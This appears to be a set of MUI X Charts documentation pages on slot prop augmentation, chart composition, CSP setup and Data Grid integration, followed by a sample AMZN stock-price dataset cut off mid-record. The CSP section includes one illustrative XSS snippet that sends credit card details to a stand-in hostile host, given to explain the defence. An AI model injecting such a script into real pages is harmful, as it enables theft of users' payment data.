To solve these type errors, use [module augmentation](https://www.typescriptlang.org/docs/handbook/declaration-merging.html#module-augmentation) to enhance the props interface.

The naming of overridable interfaces uses a pattern like this:

```js
`${slotNameInPascalCase}PropsOverrides`;
```

For example, for the `tooltip` slot, the interface name is `TooltipPropsOverrides`.

These files list every overridable interface for the Charts packages:

- [`@mui/x-charts`](https://github.com/mui/mui-x/blob/-/packages/x-charts/src/models/chartsSlotsComponentsProps.ts)
- [`@mui/x-charts-pro`](https://github.com/mui/mui-x/blob/-/packages/x-charts-pro/src/models/chartsSlotsComponentsPropsPro.ts) (pro-only slots: heatmap `cell`, funnel sections, pro toolbar icons, pro base slots)
- [`@mui/x-charts-premium`](https://github.com/mui/mui-x/blob/-/packages/x-charts-premium/src/models/chartsSlotsComponentsPropsPremium.ts) (premium-only slots: `radialLineHighlight`)

<codeblock storageKey="pricing-plan">

```tsx Community
// augment the props for the tooltip slot
declare module '@mui/x-charts' {
  interface TooltipPropsOverrides {
    someCustomString: string;
    someCustomNumber: number;
  }
}

<LineChart
  series={[{ data: [1, 2, 3] }]}
  slots={{
    // custom component passed to the tooltip slot
    tooltip: CustomTooltip,
  }}
  slotProps={{
    tooltip: {
      // props used by CustomTooltip
      someCustomString: 'Hello',
      someCustomNumber: 42,
    },
  }}
/>;
```

```tsx Pro
// augment the props for a pro-only slot (heatmap cell)
declare module '@mui/x-charts-pro' {
  interface CellPropsOverrides {
    someCustomString: string;
    someCustomNumber: number;
  }
}

<Heatmap
  xAxis={[{ data: [1, 2, 3] }]}
  yAxis={[{ data: [1, 2, 3] }]}
  series={[{ data: [[0, 0, 1]] }]}
  slots={{
    // custom component passed to the cell slot
    cell: CustomHeatmapCell,
  }}
  slotProps={{
    cell: {
      // props used by CustomHeatmapCell
      someCustomString: 'Hello',
      someCustomNumber: 42,
    },
  }}
/>;
```

```tsx Premium
// augment the props for a premium-only slot (radial line highlight)
declare module '@mui/x-charts-premium' {
  interface RadialLineHighlightPropsOverrides {
    someCustomString: string;
    someCustomNumber: number;
  }
}

<RadialLineChart
  series={[{ data: [1, 2, 3] }]}
  radiusAxis={[{ data: [1, 2, 3] }]}
  rotationAxis={[{ data: [0, 120, 240] }]}
  slots={{
    // custom component passed to the radialLineHighlight slot
    radialLineHighlight: CustomRadialLineHighlight,
  }}
  slotProps={{
    radialLineHighlight: {
      // props used by CustomRadialLineHighlight
      someCustomString: 'Hello',
      someCustomNumber: 42,
    },
  }}
/>;
```

</codeblock>

:::info
Augmentations always target the module where the interface is **originally declared**.
The Pro and Premium tabs above augment `@mui/x-charts-pro` and `@mui/x-charts-premium` because the example slots (`cell`, `radialLineHighlight`) are declared in those packages.
Slots shared across tiers (such as `tooltip`, `legend`, `toolbar`) are declared in `@mui/x-charts` — augment them via `declare module '@mui/x-charts'` regardless of which chart you use.
:::

## HTML components

Use the `ChartsDataProvider` to access chart data from any component.
This lets you create HTML components that interact with the data.

In the next example, notice that the `MyCustomLegend` component displays the series names and colors.
This creates an HTML `<table>` element, which can be customized in any way.

{{"demo": "HtmlLegend.js"}}

:::warning
Note that the HTML components are not part of the SVG hierarchy.
This means they must be outside of the `ChartsSurface` component to avoid mixing HTML and SVG, and inside of the `ChartsDataProvider` component to get access to the data.
:::

---

### Data Charts Composition Composition (`docs/data/charts/composition/composition.md`)

---
title: React Chart composition
productId: x-charts
githubLabel: 'scope: charts'
components: ChartsContainer, ChartsContainerPro, ChartsGrid, ChartsDataProvider, ChartsDataProviderPro, ChartsDataProviderPremium, ChartsSurface
packageName: '@mui/x-charts'
---

# Charts - Composition

<p class="description">Learn how to use composition to build advanced custom Charts.</p>

## Overview

Composition lets you assemble charts from individual building blocks instead of a single preconfigured component.
You can mix series types, stack custom SVG and WebGL layers, and reuse the chart's scales through hooks to render your own elements aligned with the plotted data.
This unlocks visualizations that go beyond the standard chart components, while keeping a shared coordinate system, axes, tooltip, and interactions.

The forecast below combines bars, lines, axes, a synced tooltip, and custom SVG layers in a single composed chart.

{{"demo": "WeatherComposition.js"}}

The MUI X Charts components follow an architecture based on context providers: you can pass your series and axes definitions to specialized components that transform the data and make it available to its descendants.
These descendants can then be composed.

There are two main types of components used to create Charts: [structural](#structural-components) and [graphical](#graphical-components).

## Structural components

Structural components are used to define a chart's dimensions, surfaces, and data.

- Basics
  - `ChartsDataProvider` provides data to descendants.
  - `ChartsLayerContainer` a `div` that handles the responsiveness of the chart and contains the layers.
  - `ChartsSvgLayer` renders a layer that is an SVG element, which can be used to render axes, plots, etc.
  - `ChartsWebGLLayer` renders a layer that is a WebGL canvas, which can be used to render plots.
- Helpers
  - `ChartsContainer` combines the Data Provider and Surface components.
  - `ChartsSurface` combines the layer container and an SVG layer.
  - `ChartsWrapper` styled div that positions surface, tooltip, and legend on a grid.

:::info
Demos in this doc use the `ChartsContainer` component.
For demos using `ChartsDataProvider` and `ChartsSurface`, see [HTML components](/x/react-charts/components/#html-components).
:::

### Chart Data Provider and Surface usage

Notice that the `width` and `height` props are passed to the `ChartsDataProvider`.

`ChartsLegend` is placed inside `ChartsDataProvider` to get access to the context, but outside `ChartsLayerContainer` since we want to display it outside the chart itself.

```jsx
<ChartsDataProvider
  // The configuration of the chart
  series={[{ type: 'bar', data: [100, 200] }]}
  xAxis={[{ scaleType: 'band', data: ['A', 'B'] }]}
  width={500}
  height={300}
>
  <ChartsLegend />
  <ChartsLayerContainer>
    <ChartsSvgLayer>{children}</ChartsSvgLayer>
  </ChartsLayerContainer>
</ChartsDataProvider>
```

### Chart Surface usage

The `ChartsSurface` component is composed of `ChartsLayerContainer` and a `ChartsSvgLayer`.
It can be used as a shortcut when your chart only has one SVG layer.

When using `ChartsSurface`, all the children are rendered inside the SVG element.
This means that you can't interleave different layers, such as rendering a canvas between two SVG layers.

```jsx
<ChartsDataProvider
  // The configuration of the chart
  series={[{ type: 'bar', data: [100, 200] }]}
  xAxis={[{ scaleType: 'band', data: ['A', 'B'] }]}
  width={500}
  height={300}
>
  <ChartsLegend />
  <ChartsSurface>{children}</ChartsSurface>
</ChartsDataProvider>
```

### Chart Container usage

`ChartsContainer` is the direct concatenation of `ChartsDataProvider` and `ChartsSurface`.
It takes care of dispatching props between the two components.

Using `ChartsContainer` has one major drawback: all the children will be inside `ChartsSurface`.
You can't render HTML elements such as `ChartsLegend` as shown in the previous example.

```jsx
<ChartsContainer
  // The configuration of the chart
  series={[{ type: 'bar', data: [100, 200] }]}
  xAxis={[{ scaleType: 'band', data: ['A', 'B'] }]}
  width={500}
  height={300}
>
  {children} // Only SVG components here
</ChartsContainer>
```

### Chart Wrapper usage

Charts often consist of a graphic and a legend.
`ChartsWrapper` helps position those elements in a grid structure.

The children should have a CSS `gridArea` property set to `'chart'`, `'legend'`, or `'toolbar'`.
This is done by default on built-in components.

The layout can be modified with the [wrapper props](/x/api/charts/charts-wrapper/).

```jsx
<ChartsDataProvider height={300} series={ /* ... */ }>
  <ChartsWrapper legendDirection='horizontal' legendPosition={{ vertical: 'bottom' }}>
    <ChartsLegend direction='horizontal' />
    <ChartsSurface>
      {children}
    </ChartsSurface>
  </ChartsWrapper>
</ChartsDataProvider>
```

## Graphical components

Graphical components are used to render the visual elements of a chart.
They are descendants of [`ChartsDataProvider`](#structural-components) described above.
These are too numerous to list, but common examples include:

- `LinePlot`
- `BarPlot`
- `ChartsXAxis`
- `ChartsLegend`
- `ChartsTooltip`

You can also [create your own custom components](/x/react-charts/components/) for this purpose.

## Container options

### Responsive dimensions

`ChartsContainer` is responsive by default: it automatically adjusts its dimensions to fit the available space defined by the parent element.

Provide the `width` and `height` props to define the dimensions of a chart.

:::warning
For a chart to be responsive, its parent element must have intrinsic dimensions.
If the parent's dimensions rely on its content, the responsive chart will not render.
:::

The demo below lets you switch between a chart with discrete dimensions (`width={500} height={300}`) and one with no dimensions defined, so you see how they differ.

{{"demo": "BasicComposition.js" }}

### Properties

`ChartsContainer` takes all props that are not specific to a single graphical element.
This includes:

- The `xAxis` and `yAxis` props: see [Axis](/x/react-charts/axis/) for details
- The `colors` prop: see [Styling—Built-in color palettes](/x/react-charts/styling/#built-in-color-palettes) for details
- The `series` and `dataset` props

#### Series

The `series` prop is an array of series definitions.
See the following documents to learn more about each specific series type:

- [Line](/x/react-charts/lines/)
- [Bar](/x/react-charts/bars/)
- [Pie](/x/react-charts/pie/)
- [Scatter](/x/react-charts/scatter/)

When using a [self-contained Chart component](/x/react-charts/quickstart/#self-contained-charts), it's assumed that the series type corresponds to the Chart type.
For example, `BarChart` assumes that `series` is of type `'bar'`.

```jsx
<BarChart
  series={[
    {
      // No need to specify the series type
      data: [1, 2, 3],
    },
  ]}
/>
```

When composing a custom chart, `ChartsContainer` doesn't know the series type, so you must explicitly define it.
For example, the custom chart below uses both `BarPlot` and `LinePlot`, and each one requires a corresponding `type` for its `data`.

```jsx
<ChartsContainer
  series={[
    // This series is for the bar plot
    { data: [1, 2, 3], type: 'bar' },
    // This series is for the line plot
    { data: [3, 2, 1], type: 'line' },
  ]}
>
  <BarPlot /> {/* Only displays the series with type: 'bar' */}
  <LinePlot /> {/* Only displays series with type: 'line' */}
</ChartsContainer>
```

Those series can use the `dataset` prop the same way that a single-component chart does.
See [Bars—Using a dataset](/x/react-charts/bars/#using-a-dataset) for more details.

In the demo below, the chart is constructed by combining `BarPlot` and `LinePlot`.
You can modify the series `type` property to switch between rendering a line and a bar.

```jsx
<ChartsContainer
  series={[
    { type, data: [1, 2, 3, 2, 1] },
    { type, data: [4, 3, 1, 3, 4] },
  ]}
>
  <BarPlot />
  <LinePlot />
  <ChartsXAxis label="X axis" axisId="x-axis-id" />
</ChartsContainer>
```

{{"demo": "SwitchSeriesType.js" }}

## Subcomponents

:::info
The CSS `z-index` property does not exist on SVG elements, so the order of SVG elements in the composed component is the only way to define how they overlap.
Elements rendered later display above elements rendered earlier.
:::

### Plotting

To display data, you can use the components named `[Type]Plot` such as `LinePlot`, `AreaPlot`, `MarkPlot`, `BarPlot`, and more.

### Clipping

Use the `ChartsClipPath` component to ensure chart elements stay confined to the designated drawing area.
This component defines a rectangular clip path that acts as a boundary.

Here's how to apply it:

1. Define the clip path: Use `<ChartsClipPath id={clipPathId} />` to establish the clip path for the drawing area. `clipPathId` must be a unique identifier.
2. Wrap the Chart: Enclose the chart elements you want to clip within a `<g>` element. Set the `clipPath` attribute to `url(#${clipPathId})` to reference the previously defined clip path. Example: ``<g clipPath={`url(#${clipPathId})`}>``

```jsx
<ChartsContainer>
  <g clipPath={`url(#${clipPathId})`}>
    // The plotting to clip in the drawing area.
    <ScatterPlot />
    <LinePlot />
  </g>
  <ChartsClipPath id={clipPathId} /> // Defines the clip path of the drawing area.
</ChartsContainer>
```

The demo below lets you toggle clipping for scatter and line plots.
Observe how the line markers extend beyond the clip area, rendering on top of the axes.

{{"demo": "LimitOverflow.js" }}

:::warning
The demo above generates a unique ID with `useId()`.

```js
const id = useId();
const clipPathId = `${id}-clip-path`;
```

It's important to generate unique IDs for clip paths, especially when dealing with multiple charts on a page.
Assigning a static ID like `"my-id"` leads to conflicts.
:::

### Axis

To add axes, use `ChartsXAxis` and `ChartsYAxis` as described in [Axis—Composition](/x/react-charts/axis/#composition).
These components take an `axisId` prop that indicates which axis defined in the container should be rendered.
If `axisId` is not provided, the first axis is used by default.

### Grid

Use `ChartsGrid` to add a grid to the component.
See [Axis—Grid](/x/react-charts/axis-ticks/#grid) for more information.

### Legend

Use `ChartsLegend` to display a legend with information about the chart.

:::warning
`ChartsLegend` is an HTML element since v8.
It must be rendered inside `ChartsDataProvider` to gain access to the data, but outside of `ChartsSurface` since it's not an SVG element.

This means you can't use it inside `ChartsContainer`.
You must use `ChartsDataProvider` and `ChartsSurface` instead.

```jsx
// ✅ Correct
<ChartsDataProvider>
  <ChartsLegend />
  <ChartsSurface>{/* SVG components */}</ChartsSurface>
</ChartsDataProvider>

// ❌ Incorrect
<ChartsContainer>
  <ChartsLegend />
</ChartsContainer>
```

:::

See [HTML components](/x/react-charts/components/#html-components) for more information about custom legends.

### Interaction

You can add interactive elements such as `ChartsAxisHighlight` and `ChartsTooltip` as illustrated in the demo below.

{{"demo": "LegendTooltipComposition.js" }}

:::info
By default, `ChartsContainer` listens to mouse events to keep track of where the mouse is located on the chart.

If you're not using the axis highlight or the tooltip, consider disabling this feature with the `disableAxisListener` prop.

```jsx
<ChartsContainer {...} disableAxisListener>
```

:::

### Focus indicator

Keyboard navigation is enabled by default, but the focus highlight is rendered by a dedicated SVG element that isn't included automatically when composing a chart.
To make the focused item visible, add the focus component matching your series type—such as `FocusedBar`, `FocusedLineMark`, or `FocusedScatterMark`—inside the SVG.

```jsx
<ChartsContainer>
  <BarPlot />
  <FocusedBar />
</ChartsContainer>
```

See [Accessibility—Composition](/x/react-charts/accessibility/#composition) for the full list of focus components per series type.

## Layering

Use `ChartsLayerContainer`, `ChartsSvgLayer` and `ChartsWebGLLayer` to create multiple layers of elements that share the same coordinate system.
This is useful for managing the depth ordering of alternating SVG and WebGL elements.

In the example below, we create three layers:

1. An SVG layer that displays the chart's grid;
2. A WebGL layer for rendering with `CandlestickPlot`;
3. An SVG layer that renders the axes and crosshair

{{"demo": "Layering.js"}}

Since all layers are absolutely positioned, they stack on top of each other in the order they are defined.

## Examples

### Bell curve

This example demonstrates how to combine scatter and line plots to overlay a normal distribution curve (known as a bell curve) over scattered data points.
The bell curve is calculated based on the mean and standard deviation of the data.

{{"demo": "BellCurveOverlay.js" }}

---

### Data Charts Content Security Policy Content Security Policy (`docs/data/charts/content-security-policy/content-security-policy.md`)

---
title: Content Security Policy (CSP)
productId: x-charts
---

# Charts - Content Security Policy (CSP)

<p class="description">How to configure a Content Security Policy so MUI X Charts runs correctly and export works when your app restricts script and style sources.</p>

## What is a Content Security Policy (CSP)?

A Content Security Policy (CSP) mitigates cross-site scripting (XSS) attacks by requiring you to allowlist the sources your assets are loaded from.
The server sends this list in a response header.
For example, with a site at `https://example.com`, the CSP header `default-src: 'self';` lets you load assets from `https://example.com/*` and blocks all others.
If part of your site is vulnerable to XSS and renders unescaped user input, an attacker could inject something like:

```html
<script>
  sendCreditCardDetails('https://hostile.example');
</script>
```

The attacker could then run arbitrary code.
A strict CSP header prevents the browser from loading that script.

See the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) for more on CSP.

## Setting up a CSP

MUI X Charts depends on Material UI.
Follow Material UI's [CSP implementation guide](/material-ui/guides/content-security-policy/) to set up a CSP.

### CSP for exporting charts

You can [export charts](/x/react-charts/export/) as images or PDFs with MUI X Charts.
When a CSP is set, you need to configure additional settings for exporting to work.

The export inlines images and fonts as `data:` URIs, and rasterizes the chart through a `blob:` URI.
Enable those URIs by adding these directives to your CSP header:

```text
Content-Security-Policy: img-src 'self' data: blob:; font-src 'self' data:;
```

If your CSP uses a nonce for styles (for example, `style-src-elem 'nonce-<value>'`), you must provide the same nonce when exporting.
The export copies the page styles into the export document, and the browser blocks those styles when they carry no nonce.

Pass the nonce to the `printOptions` and `imageExportOptions` props of the `toolbar` slot.

```tsx
<LineChartPro
  {...settings}
  showToolbar
  slotProps={{
    toolbar: {
      printOptions: { nonce },
      imageExportOptions: [
        { type: 'image/png', nonce },
        { type: 'image/jpeg', nonce },
        { type: 'image/webp', nonce },
      ],
    },
  }}
/>
```

When the copied styles are blocked, the image export fails with an error telling you to set the `nonce` option, and the print export produces an unstyled chart.
The image export also inlines stylesheets loaded with a `<link>` element into style elements, so it fails the same way without the nonce, even when the policy allows those stylesheets.
Set the `copyStyles` option to `false` to export the chart without the page styles instead.

Stylesheets loaded with a `<link>` element that the policy blocks are skipped in the print export, and a warning naming the stylesheet and the `nonce` option is logged in development.
The image export fails with the `nonce` error instead, as described above.
To handle them yourself, use the [`onStylesheetError`](/x/react-charts/export/#stylesheets-that-fail-to-load) export option, which receives `'content-security-policy'` as the reason for these stylesheets.

---

### Data Charts Data Grid Integration Data Grid Integration (`docs/data/charts/data-grid-integration/data-grid-integration.md`)

---
title: Charts and Data Grid integration
---

# Charts - Data Grid integration [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

<p class="description">Learn how to integrate the MUI X Charts and Data Grid for better data visualization.</p>

MUI X Charts seamlessly integrate with the [Data Grid](/x/react-data-grid/) for data visualization with dynamic Chart updates based on the Data Grid state changes (whether through the Data Grid API or user interactions).

This integration is possible via the `<GridChartsIntegrationContextProvider />` and `<GridChartsRendererProxy />` components from the `@mui/x-data-grid-premium` package, and the `<ChartRenderer />` component from the `@mui/x-charts-premium` package.

Check [Data Grid - Charts integration](/x/react-data-grid/charts-integration/) for more information and examples.

The demo below shows how to implement all of the elements mentioned above:

{{"demo": "../../data-grid/charts-integration/GridChartsIntegrationBasic.js", "bg": "inline"}}

---

### Data Charts Dataset AMZN.Json (`docs/data/charts/dataset/AMZN.json`)

[
  {
    "date": "2023-07-24",
    "open": 130.309998,
    "high": 131.660004,
    "low": 128.350006,
    "close": 128.800003,
    "adjClose": 128.800003,
    "volume": 45591100
  },
  {
    "date": "2023-07-25",
    "open": 129.309998,
    "high": 129.580002,
    "low": 128.529999,
    "close": 129.130005,
    "adjClose": 129.130005,
    "volume": 39236700
  },
  {
    "date": "2023-07-26",
    "open": 126.510002,
    "high": 129.080002,
    "low": 126.110001,
    "close": 128.149994,
    "adjClose": 128.149994,
    "volume": 53910100
  },
  {
    "date": "2023-07-27",
    "open": 131.0,
    "high": 132.630005,
    "low": 127.790001,
    "close": 128.25,
    "adjClose": 128.25,
    "volume": 52610700
  },
  {
    "date": "2023-07-28",
    "open": 129.690002,
    "high": 133.009995,
    "low": 129.330002,
    "close": 132.210007,
    "adjClose": 132.210007,
    "volume": 46317400
  },
  {
    "date": "2023-07-31",
    "open": 133.199997,
    "high": 133.869995,
    "low": 132.380005,
    "close": 133.679993,
    "adjClose": 133.679993,
    "volume": 41901500
  },
  {
    "date": "2023-08-01",
    "open": 133.550003,
    "high": 133.690002,
    "low": 131.619995,
    "close": 131.690002,
    "adjClose": 131.690002,
    "volume": 42098500
  },
  {
    "date": "2023-08-02",
    "open": 130.149994,
    "high": 130.229996,
    "low": 126.82,
    "close": 128.210007,
    "adjClose": 128.210007,
    "volume": 51027600
  },
  {
    "date": "2023-08-03",
    "open": 127.480003,
    "high": 129.839996,
    "low": 126.410004,
    "close": 128.910004,
    "adjClose": 128.910004,
    "volume": 88585200
  },
  {
    "date": "2023-08-04",
    "open": 141.059998,
    "high": 143.630005,
    "low": 139.320007,
    "close": 139.570007,
    "adjClose": 139.570007,
    "volume": 152938700
  },
  {
    "date": "2023-08-07",
    "open": 140.990005,
    "high": 142.539993,
    "low": 138.949997,
    "close": 142.220001,
    "adjClose": 142.220001,
    "volume": 71213100
  },
  {
    "date": "2023-08-08",
    "open": 140.619995,
    "high": 140.839996,
    "low": 138.419998,
    "close": 139.940002,
    "adjClose": 139.940002,
    "volume": 51710500
  },
  {
    "date": "2023-08-09",
    "open": 139.970001,
    "high": 140.320007,
    "low": 137.100006,
    "close": 137.850006,
    "adjClose": 137.850006,
    "volume": 50017300
  },
  {
    "date": "2023-08-10",
    "open": 139.070007,
    "high": 140.410004,
    "low": 137.490005,
    "close": 138.559998,
    "adjClose": 138.559998,
    "volume": 58928400
  },
  {
    "date": "2023-08-11",
    "open": 137.399994,
    "high": 139.330002,
    "low": 137.0,
    "close": 138.410004,
    "adjClose": 138.410004,
    "volume": 42832100
  },
  {
    "date": "2023-08-14",
    "open": 138.300003,
    "high": 140.589996,
    "low": 137.75,
    "close": 140.570007,
    "adjClose": 140.570007,
    "volume": 47148700
  },
  {
    "date": "2023-08-15",
    "open": 140.050003,
    "high": 141.279999,
    "low": 137.229996,
    "close": 137.669998,
    "adjClose": 137.669998,
    "volume": 42781500
  },
  {
    "date": "2023-08-16",
    "open": 137.190002,
    "high": 137.270004,
    "low": 135.009995,
    "close": 135.070007,
    "adjClose": 135.070007,
    "volume": 41675900
  },
  {
    "date": "2023-08-17",
    "open": 135.460007,
    "high": 136.089996,
    "low": 133.529999,
    "close": 133.979996,
    "adjClose": 133.979996,
    "volume": 48354100
  },
  {
    "date": "2023-08-18",
    "open": 131.619995,
    "high": 134.070007,
    "low": 131.149994,
    "close": 133.220001,
    "adjClose": 133.220001,
    "volume": 48469400
  },
  {
    "date": "2023-08-21",
    "open": 133.740005,
    "high": 135.190002,
    "low": 132.710007,
    "close": 134.679993,
    "adjClose": 134.679993,
    "volume": 41442500
  },
  {
    "date": "2023-08-22",
    "open": 135.080002,
    "high": 135.649994,
    "low": 133.729996,
    "close": 134.25,
    "adjClose": 134.25,
    "volume": 32935100
  },
  {
    "date": "2023-08-23",
    "open": 134.5,
    "high": 135.949997,
    "low": 133.220001,
    "close": 135.520004,
    "adjClose": 135.520004,
    "volume": 42801000
  },
  {
    "date": "2023-08-24",
    "open": 136.399994,
    "high": 136.779999,
    "low": 131.830002,
    "close": 131.839996,
    "adjClose": 131.839996,
    "volume": 43646300
  },
  {
    "date": "2023-08-25",
    "open": 132.470001,
    "high": 133.869995,
    "low": 130.580002,
    "close": 133.259995,
    "adjClose": 133.259995,
    "volume": 44147500
  },
  {
    "date": "2023-08-28",
    "open": 133.779999,
    "high": 133.949997,
    "low": 131.850006,
    "close": 133.139999,
    "adjClose": 133.139999,
    "volume": 34108400
  },
  {
    "date": "2023-08-29",
    "open": 133.380005,
    "high": 135.139999,
    "low": 133.25,
    "close": 134.910004,
    "adjClose": 134.910004,
    "volume": 38646100
  },
  {
    "date": "2023-08-30",
    "open": 134.929993,
    "high": 135.679993,
    "low": 133.919998,
    "close": 135.070007,
    "adjClose": 135.070007,
    "volume": 36137000
  },
  {
    "date": "2023-08-31",
    "open": 135.059998,
    "high": 138.789993,
    "low": 135.0,
    "close": 138.009995,
    "adjClose": 138.009995,
    "volume": 58781300
  },
  {
    "date": "2023-09-01",
    "open": 139.460007,
    "high": 139.960007,
    "low": 136.880005,
    "close": 138.119995,
    "adjClose": 138.119995,
    "volume": 40948300
  },
  {
    "date": "2023-09-05",
    "open": 137.729996,
    "high": 137.800003,
    "low": 135.820007,
    "close": 137.270004,
    "adjClose": 137.270004,
    "volume": 40636700
  },
  {
    "date": "2023-09-06",
    "open": 136.320007,
    "high": 137.449997,
    "low": 134.610001,
    "close": 135.360001,
    "adjClose": 135.360001,
    "volume": 41785500
  },
  {
    "date": "2023-09-07",
    "open": 133.899994,
    "high": 138.029999,
    "low": 133.160004,
    "close": 137.850006,
    "adjClose": 137.850006,
    "volume": 48498900
  },
  {
    "date": "2023-09-08",
    "open": 136.860001,
    "high": 138.850006,
    "low": 136.75,
    "close": 138.229996,
    "adjClose": 138.229996,
    "volume": 38348200
  },
  {
    "date": "2023-09-11",
    "open": 138.75,
    "high": 143.619995,
    "low": 138.639999,
    "close": 143.100006,
    "adjClose": 143.100006,
    "volume": 56764500
  },
  {
    "date": "2023-09-12",
    "open": 142.320007,
    "high": 143.0,
    "low": 140.610001,
    "close": 141.229996,
    "adjClose": 141.229996,
    "volume": 42668500
  },
  {
    "date": "2023-09-13",
    "open": 140.949997,
    "high": 144.979996,
    "low": 140.869995,
    "close": 144.850006,
    "adjClose": 144.850006,
    "volume": 60465200
  },
  {
    "date": "2023-09-14",
    "open": 145.080002,
    "high": 145.860001,
    "low": 142.949997,
    "close": 144.720001,
    "adjClose": 144.720001,
    "volume": 64033600
  },
  {
    "date": "2023-09-15",
    "open": 142.690002,
    "high": 143.570007,
    "low": 140.089996,
    "close": 140.389999,
    "adjClose": 140.389999,
    "volume": 102861700
  },
  {
    "date": "2023-09-18",
    "open": 140.479996,
    "high": 141.75,
    "low": 139.220001,
    "close": 139.979996,
    "adjClose": 139.979996,
    "volume": 42823500
  },
  {
    "date": "2023-09-19",
    "open": 138.699997,
    "high": 138.839996,
    "low": 135.559998,
    "close": 137.630005,
    "adjClose": 137.630005,
    "volume": 61482500
  },
  {
    "date": "2023-09-20",
    "open": 138.550003,
    "high": 139.369995,
    "low": 135.199997,
    "close": 135.289993,
    "adjClose": 135.289993,
    "volume": 46263700
  },
  {
    "date": "2023-09-21",
    "open": 131.940002,
    "high": 132.240005,
    "low": 129.309998,
    "close": 129.330002,
    "adjClose": 129.330002,
    "volume": 70234800
  },
  {
    "date": "2023-09-22",
    "open": 131.110001,
    "high": 132.029999,
    "low": 128.520004,
    "close": 129.119995,
    "adjClose": 129.119995,
    "volume": 59904300
  },
  {
    "date": "2023-09-25",
    "open": 129.360001,
    "high": 131.779999,
    "low": 128.770004,
    "close": 131.270004,
    "adjClose": 131.270004,
    "volume": 46017800
  },
  {
    "date": "2023-09-26",
    "open": 130.119995,
    "high": 130.389999,
    "low": 125.279999,
    "close": 125.980003,
    "adjClose": 125.980003,
    "volume": 73048200
  },
  {
    "date": "2023-09-27",
    "open": 125.760002,
    "high": 127.480003,
    "low": 124.129997,
    "close": 125.980003,
    "adjClose": 125.980003,
    "volume": 66553400
  },
  {
    "date": "2023-09-28",
    "open": 124.040001,
    "high": 126.580002,
    "low": 123.040001,
    "close": 125.980003,
    "adjClose": 125.980003,
    "volume": 54555000
  },
  {
    "date": "2023-09-29",
    "open": 128.199997,
    "high": 129.149994,
    "low": 126.32,
    "close": 127.120003,
    "adjClose": 127.120003,
    "volume": 62377600
  },
  {
    "date": "2023-10-02",
    "open": 127.279999,
    "high": 130.470001,
    "low": 126.540001,
    "close": 129.460007,
    "adjClose": 129.460007,
    "volume": 48029700
  },
  {
    "date": "2023-10-03",
    "open": 128.059998,
    "high": 128.520004,
    "low": 124.25,
    "close": 124.720001,
    "adjClose": 124.720001,
    "volume": 51565000
  },
  {
    "date": "2023-10-04",
    "open": 126.059998,
    "high": 127.360001,
    "low": 125.68,
    "close": 127.0,
    "adjClose": 127.0,
    "volume": 44203900
  },
  {
    "date": "2023-10-05",
    "open": 126.709999,
    "high": 126.730003,
    "low": 124.330002,
    "close": 125.959999,
    "adjClose": 125.959999,
    "volume": 39660600
  },
  {
    "date": "2023-10-06",
    "open": 124.160004,
    "high": 128.449997,
    "low": 124.129997,
    "close": 127.959999,
    "adjClose": 127.959999,
    "volume": 46795900
  },
  {
    "date": "2023-10-09",
    "open": 126.220001,
    "high": 128.789993,
    "low": 124.760002,
    "close": 128.259995,
    "adjClose": 128.259995,
    "volume": 38773700
  },
  {
    "date": "2023-10-10",
    "open": 128.820007,
    "high": 130.740005,
    "low": 128.050003,
    "close": 129.479996,
    "adjClose": 129.479996,
    "volume": 42178600
  },
  {
    "date": "2023-10-11",
    "open": 129.740005,
    "high": 132.050003,
    "low": 129.610001,
    "close": 131.830002,
    "adjClose": 131.830002,
    "volume": 40741800
  },
  {
    "date": "2023-10-12",
    "open": 132.169998,
    "high": 134.479996,
    "low": 131.229996,
    "close": 132.330002,
    "adjClose": 132.330002,
    "volume": 55528600
  },
  {
    "date": "2023-10-13",
    "open": 132.979996,
    "high": 133.309998,
    "low": 128.949997,
    "close": 129.789993,
    "adjClose": 129.789993,
    "volume": 45786600
  },
  {
    "date": "2023-10-16",
    "open": 130.690002,
    "high": 133.070007,
    "low": 130.429993,
    "close": 132.550003,
    "adjClose": 132.550003,
    "volume": 42832900
  },
  {
    "date": "2023-10-17",
    "open": 130.389999,
    "high": 132.580002,
    "low": 128.710007,
    "close": 131.470001,
    "adjClose": 131.470001,
    "volume": 49344600
  },
  {
    "date": "2023-10-18",
    "open": 129.899994,
    "high": 130.669998,
    "low": 127.510002,
    "close": 128.130005,
    "adjClose": 128.130005,
    "volume": 42699500
  },
  {
    "date": "2023-10-19",
    "open": 130.570007,
    "high": 132.240005,
    "low": 127.470001,
    "close": 128.399994,
    "adjClose": 128.399994,
    "volume": 60961400
  },
  {
    "date": "2023-10-20",
    "open": 128.050003,
    "high": 128.169998,
    "low": 124.970001,
    "close": 125.169998,
    "adjClose": 125.169998,
    "volume": 56343300
  },
  {
    "date": "2023-10-23",
    "open": 124.629997,
    "high": 127.879997,
    "low": 123.980003,
    "close": 126.559998,
    "adjClose": 126.559998,
    "volume": 48260000
  },
  {
    "date": "2023-10-24",
    "open": 127.739998,
    "high": 128.800003,
    "low": 126.339996,
    "close": 128.559998,
    "adjClose": 128.559998,
    "volume": 46477400
  },
  {
    "date": "2023-10-25",
    "open": 126.040001,
    "high": 126.339996,
    "low": 120.790001,
    "close": 121.389999,
    "adjClose": 121.389999,
    "volume": 74577500
  },
  {
    "date": "2023-10-26",
    "open": 120.629997,
    "high": 121.639999,
    "low": 118.349998,
    "close": 119.57,
    "adjClose": 119.57,
    "volume": 100419500
  },
  {
    "date": "2023-10-27",
    "open": 126.199997,
    "high": 130.020004,
    "low": 125.519997,
    "close": 127.739998,
    "adjClose": 127.739998,
    "volume": 125309300
  },
  {
    "date": "2023-10-30",
    "open": 129.720001,
    "high": 133.0,
    "low": 128.559998,
    "close": 132.710007,
    "adjClose": 132.710007,
    "volume": 72485500
  },
  {
    "date": "2023-10-31",
    "open": 132.75,
    "high": 133.570007,
    "low": 131.710007,
    "close": 133.089996,
    "adjClose": 133.089996,
    "volume": 51589400
  },
  {
    "date": "2023-11-01",
    "open": 133.960007,
    "high": 137.350006,
    "low": 133.710007,
    "close": 137.0,
    "adjClose": 137.0,
    "volume": 61529400
  },
  {
    "date": "2023-11-02",
    "open": 138.729996,
    "high": 138.809998,
    "low": 136.470001,
    "close": 138.070007,
    "adjClose": 138.070007,
    "volume": 52236700
  },
  {
    "date": "2023-11-03",
    "open": 138.990005,
    "high": 139.490005,
    "low": 137.449997,
    "close": 138.600006,
    "adjClose": 138.600006,
    "volume": 44007200
  },
  {
    "date": "2023-11-06",
    "open": 138.759995,
    "high": 140.729996,
    "low": 138.360001,
    "close": 139.740005,
    "adjClose": 139.740005,
